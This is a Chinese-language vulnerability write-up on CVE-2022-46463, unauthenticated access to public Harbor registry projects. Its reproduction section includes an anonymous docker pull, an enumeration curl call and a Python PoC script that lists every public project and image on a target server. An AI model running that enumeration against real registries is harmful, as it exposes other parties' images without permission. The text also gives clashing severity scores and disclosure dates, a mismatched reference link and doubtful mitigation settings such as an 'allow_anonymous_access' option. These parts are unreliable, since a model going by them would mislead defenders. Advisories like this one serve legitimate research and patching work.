一、漏洞简介¶
1.1 漏洞背景¶
2022年12月,安全研究人员披露了 Harbor 的镜像仓库访问控制问题。该问题涉及 Harbor 对公开和私有镜像仓库的访问控制机制,允许未经认证的用户访问部分镜像资源。
⚠️ 注意:Harbor 官方对此 CVE 有不同看法,认为这是"在文档中明确描述的功能特性"而非安全漏洞。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-46463 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | 镜像仓库未授权访问漏洞 |
| 披露时间 | 2023-01-13 |
| 影响组件 | Harbor 容器镜像仓库 |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2022-46463 |
| 危害等级 | 中危(Medium) |
| CVSS评分 | 5.3(Medium) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| 漏洞类型 | CWE-306:关键功能缺少认证 |
| 公开日期 | 2022年12月 |
补充核验信息:公开时间:2023-01-13;NVD 评分:7.5(HIGH);CWE:CWE-306。
二、影响范围¶
2.1 受影响的版本¶
- Harbor v1.x.x ~ v2.5.3
2.2 不受影响的版本¶
- 官方认为这是设计行为,无明确"修复版本"
- v2.6.0+ 可能包含配置增强
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 项目可见性配置:项目被设置为公开(Public)
- 匿名拉取:Docker 客户端未登录即可拉取镜像
- API 访问:部分 API 端点未强制认证
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Harbor 的项目访问级别分为: - 公开(Public):所有用户可访问 - 私有(Private):仅项目成员可访问
当项目设置为公开时,镜像拉取操作(docker pull)无需认证。但某些场景下,攻击者可能:
1. 枚举公开项目中的镜像列表
2. 通过 API 获取镜像元数据
3. 在未认证情况下拉取敏感镜像
3.2 源码层面的根因分析(结合源码与补丁对比)¶
访问控制逻辑¶
// 项目访问控制检查(伪代码)
func (p *ProjectAPI) checkAccessLevel() bool {
project := p.getProject()
if project.IsPublic() {
// 公开项目允许匿名访问
return true
}
// 私有项目需要认证
return p.SecurityCtx.IsAuthenticated() &&
p.SecurityCtx.HasProjectPermission(project.ID)
}
镜像拉取权限检查¶
// 镜像拉取权限(简化版)
func (ra *RepositoryAPI) CanPull(repo string) bool {
project := getProjectFromRepo(repo)
// 【问题点】公开项目无条件允许拉取
if project.IsPublic() {
return true
}
return ra.SecurityCtx.CanPull(repo)
}
根因分析¶
- 设计决策:公开项目的设计允许匿名访问
- 配置默认值:部分部署可能误将项目设为公开
- 文档不足:用户可能不理解公开项目的含义
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 部署 Harbor v2.5.3
wget https://github.com/goharbor/harbor/releases/download/v2.5.3/harbor-online-installer-v2.5.3.tgz
tar xzf harbor-online-installer-v2.5.3.tgz
cd harbor
./install.sh
4.2 PoC 演示与测试过程¶
步骤一:创建公开项目¶
- 登录 Harbor 管理界面
- 创建新项目,设置为"公开"访问级别
- 推送测试镜像到该项目
步骤二:未认证拉取镜像¶
# 无需登录,直接拉取公开项目镜像
docker pull harbor-server/public-project/my-image:latest
# 成功拉取镜像,无认证要求
步骤三:枚举公开镜像¶
# 无认证获取项目仓库列表
curl "http://harbor-server/api/v2.0/projects/public-project/repositories"
# 响应包含所有公开镜像信息
Python 枚举脚本¶
#!/usr/bin/env python3
"""
CVE-2022-46463 - Harbor 未授权镜像访问 PoC
用途:仅限安全研究和授权测试
"""
import requests
import json
def enumerate_public_images(harbor_url):
"""
枚举所有公开项目的镜像
"""
# 获取项目列表
projects_url = f"{harbor_url}/api/v2.0/projects"
response = requests.get(projects_url, timeout=10)
if response.status_code != 200:
print("[-] Failed to get projects")
return
projects = response.json()
print(f"[*] Found {len(projects)} projects")
for project in projects:
if project.get("public", False):
project_name = project["name"]
print(f"\n[+] Public Project: {project_name}")
# 获取仓库列表
repos_url = f"{harbor_url}/api/v2.0/projects/{project_name}/repositories"
repos_resp = requests.get(repos_url, timeout=10)
if repos_resp.status_code == 200:
repos = repos_resp.json()
for repo in repos:
print(f" - {repo['name']}")
# 获取标签
tags_url = f"{harbor_url}/api/v2.0/projects/{project_name}/repositories/{repo['name']}/artifacts"
# ...继续枚举
if __name__ == "__main__":
enumerate_public_images("http://your-harbor-server")
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
由于官方认为这是设计特性而非漏洞,建议:
- 审查项目配置:确保敏感项目设置为私有
- 升级到最新版本:使用 v2.6.0+ 版本
- 配置增强:启用强制认证选项
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:修改项目访问级别¶
# 使用 API 将项目设置为私有
curl -X PUT "http://harbor-server/api/v2.0/projects/{project_id}" \
-H "Content-Type: application/json" \
-u "admin:password" \
-d '{
"metadata": {
"public": "false"
}
}'
方案二:配置强制认证¶
在 harbor.yml 中配置:
# 限制匿名访问
allow_anonymous_access: false
方案三:网络层访问控制¶
# 限制 Docker Registry API 的匿名访问
# 使用 Nginx 反向代理配置
location /v2/ {
if ($request_method = GET) {
# 要求基本认证
auth_basic "Registry";
auth_basic_user_file /etc/nginx/.htpasswd;
}
proxy_pass http://harbor-core;
}
方案四:审计与监控¶
# 定期检查公开项目
curl -s "http://harbor-server/api/v2.0/projects?public=true" \
-u "admin:password" | jq '.[].name'
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-46463
- GitHub Discussion: https://github.com/Vad1mo/harbor-scan-engine
6.2 其他技术参考资料¶
- Disclosure Repository: https://github.com/lanqingaa/123 (已失效)
- Harbor Documentation: https://goharbor.io/docs/
- CWE-306 Definition: https://cwe.mitre.org/data/definitions/306.html
- Official Stance: Harbor 团队声明该行为在文档中明确描述为功能特性